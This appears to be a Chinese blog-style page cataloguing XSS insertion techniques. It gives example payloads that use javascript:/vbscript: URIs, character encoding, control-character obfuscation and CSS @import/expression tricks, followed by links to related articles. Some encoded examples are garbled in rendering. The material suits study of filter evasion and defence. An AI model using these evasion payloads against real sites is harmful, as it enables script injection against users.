XSS代码触发条件,插入XSS代码的常用方法
1.脚本插入
(1)插入javascript和vbscript正常字符。
例1:<img src=”javascript:alert(/xss/)”>
例2:<table background=”javascript:alert(/xss/)”></table>’/在表格中插入脚本
例3:<img src=”vbscript:msgbox(“a”)”>
(2)转换字符类型。将javascript或vbscript中的任一个或全部字符转换为十进制或十六进制字符
例1:<img src=”javascript:alert(/xss/)”> ‘/将j字符转为十进制字符j 。
例2:<img src=”javascript:alert(/xss/)”> ‘/将j字符转为十六进制字符j 。
(3)插入混淆字符。在系统控制字符中,除了头部的�(null)和尾部的 (del)外,其他31个字符均可作为混淆字符,比如 、 等字符都可插入到
javascript或vbscript的头部,其中Tab符 、换行符、回车符还可以插入到代码中任意地方。
例1:<img src=” javascript:alert(/a/)”> ‘/插入到代码头部,其中 可写成 ,效果一样
例2:<img src=”java scr ipt:alert(/a/)”> ‘/插入到代码中任意位置,其中 可写成
例3:<IMG SRC=”jav ascript:alert(‘XSS’)”> ‘/ 是回车符的16进制形式
例4:<IMG SRC=”jav ascript:alert(‘XSS’)”> ‘/ 是换行符的16进制形式
2.样式表
(1)利用CSS代码@import、expression触发XSS漏洞。
例1:@import “http://web/xss.css”; ‘导入外部带有XSS代码的CSS样式表。
例2:@import’javascript:alert(“xss”)’; ‘调用javascript脚本触发漏洞
例3:body{xss:expression(alert(‘xss’))} ‘在内部样式表中加入expression事件
例4:<img style=”xss:expression(alert(“xss”))”>’在内嵌样式表中加入expression事件
(2)在CSS代码中加入javascript和vbscript脚本
例1:body{background-image:url(javascript:alert(“xss”))}
例2:body{background-image:url(vbscript:msgbox(“xss”))}
(3)转换字符类型,以十六进制字符替换其中或全部的字符:
例1:@\0069mport:url(web/1.css);’//将其中的i转为\0069
例2:body{xss:\0065xpression(alert(‘xss’))}’//将e转换为\0065
例3:body{background-image:\0075\0072\006c…}’将url全转为16进制
(4)插入混淆字符,在css中,/**/是注释字符,除了/**/外,字符”\”和结束符”\0″也是被忽略的,可以用来混淆字符。
例1:@\0im\port’\0ja\vasc\ript:alert(“xss”)’;
例2:@\i\0m\00p\000o\0000\00000r\000000t”url”;
XSS代码触发条件,插入XSS代码的常用方法的更多相关文章
- 分页查询关键代码 多条件查询关键代码 删除选中商品关键代码 修改要先回显再修改 修改要先回显再修改 同一业务集中使用同一servlet的方法
分页查询关键代码: 通过servlet转发回来的各种信息进行分页的设计(转发回的信息有 分页查询的List集合 查询的页码 查询的条数 查询的数据库总条数 查询的总页码) 从开始时循环10次出现十个数 ...
- 用代码触发testng实现并发测试
有时候希望测试用例能用代码触发,发现testng支持这种操作,于是记录一下: 首先添加testng依赖: <dependency> <groupId>org.testng< ...
- Jsoup代码解读之六-防御XSS攻击
Jsoup代码解读之八-防御XSS攻击 防御XSS攻击的一般原理 cleaner是Jsoup的重要功能之一,我们常用它来进行富文本输入中的XSS防御. 我们知道,XSS攻击的一般方式是,通过在页面输入 ...
- 突破XSS字符限制执行任意JS代码
突破XSS字符限制执行任意JS代码 一.综述 有些XSS漏洞由于字符数量有限制而没法有效的利用,只能弹出一个对话框来YY,本文主要讨论如何突破字符数量的限制进行有效的利用,这里对有效利用的定义是可以不 ...
- Html页面插入flash代码
转自:http://www.educity.cn/jianzhan/402117.html 转自:http://www.cnblogs.com/yxc_fj/articles/1390621.html ...
- 在IDE中用Bing Code Search直接查找代码片段并且插入
博客搬到了fresky.github.io - Dawei XU,请各位看官挪步.最新的一篇是:在IDE中用Bing Code Search直接查找代码片段并且插入.
- jquery实现多条件筛选特效代码分享
本文实例讲述了jquery实现多条件筛选特效.分享给大家供大家参考.具体如下:jquery实现的多条件搜索表单带日期选择表格表单效果源码,是一段实现了多个条件筛选搜索的特效代码,多条件拥有时间.地点. ...
- 完成代码将x插入到该顺序有序线性表中,要求该线性表依然有序
#include <stdio.h> #include <malloc.h> int main(void) { int i, n; double s = 1.3; double ...
- 用SUMIF对超15位的代码进行条件求和,出错了,原因是....
用SUMIF对超15位的代码进行条件求和,出错了,原因是.... 2017-10-29 23:01 一.问题 有读者朋友问: 用SUMIF进行条件求和时,如果统计的条件是超15位的代码,就会出错,比如 ...
随机推荐
- Gitlab的develop角色的人没有权限无法提交的问题解决方案
问题 事情是这样的,最近跟几位同事搞一些东西,打算在Gitlab上建一个仓库,然后协同开发. 我建好仓库,将其他几位同事添加进来,角色分配为Develop. 之后提交初始代码到master分支后,他们 ...
- JS中decodeURI()与decodeURIComponent()区别
decodeURI()定义和用法:decodeURI() 函数可对 encodeURI() 函数编码过的URI 进行解码. 语法:decodeURI(URIstring) 参数 描述:URIstrin ...
- 一款轻量级移动web开发框架
本帖最后由 yangzhu230 于 2013-9-11 00:39 编辑 如果我说要推荐zepto你肯定说“切,这地球人都知道,又一个标题党” 不卖关子,开门见山我推荐的是[百度]的GMU GMU是 ...
- python 生成器
摘自:http://www.liaoxuefeng.com/wiki/001374738125095c955c1e6d8bb493182103fac9270762a000/00138681965108 ...
- javascript this 详解
前言 Javascript是一门基于对象的动态语言,也就是说,所有东西都是对象,一个很典型的例子就是函数也被视为普通的对象.Javascript可以通过一定的设计模式来实现面向对象的编程,其中this ...
- 5.9-4用字符串生成器给字符串str追加1~10这10个数字
package zfc; public class ZfcShcq { public static void main(String[] args) { // TODO Auto-generated ...
- 蝙蝠算法-python实现
BAIndividual.py import numpy as np import ObjFunction class BAIndividual: ''' individual of bat algo ...
- POJ3749 破译密码
Description 据说最早的密码来自于罗马的凯撒大帝.消息加密的办法是:对消息原文中的每个字母,分别用该字母之后的第5个字母替换(例如:消息原文中的每个字母A都分别替换成字母F).而你要获得消息 ...
- poj 1743 二分答案+后缀数组 求不重叠的最长重复子串
题意:给出一串序列,求最长的theme长度 (theme:完全重叠的子序列,如1 2 3和1 2 3 or 子序列中每个元素对应的差相等,如1 2 3和7 8 9) 要是没有差相等这个条件那就好办 ...
- bzoj3555 企鹅QQ
3555: [Ctsc2014]企鹅QQ Time Limit: 20 Sec Memory Limit: 256 MBSubmit: 1640 Solved: 613 Description P ...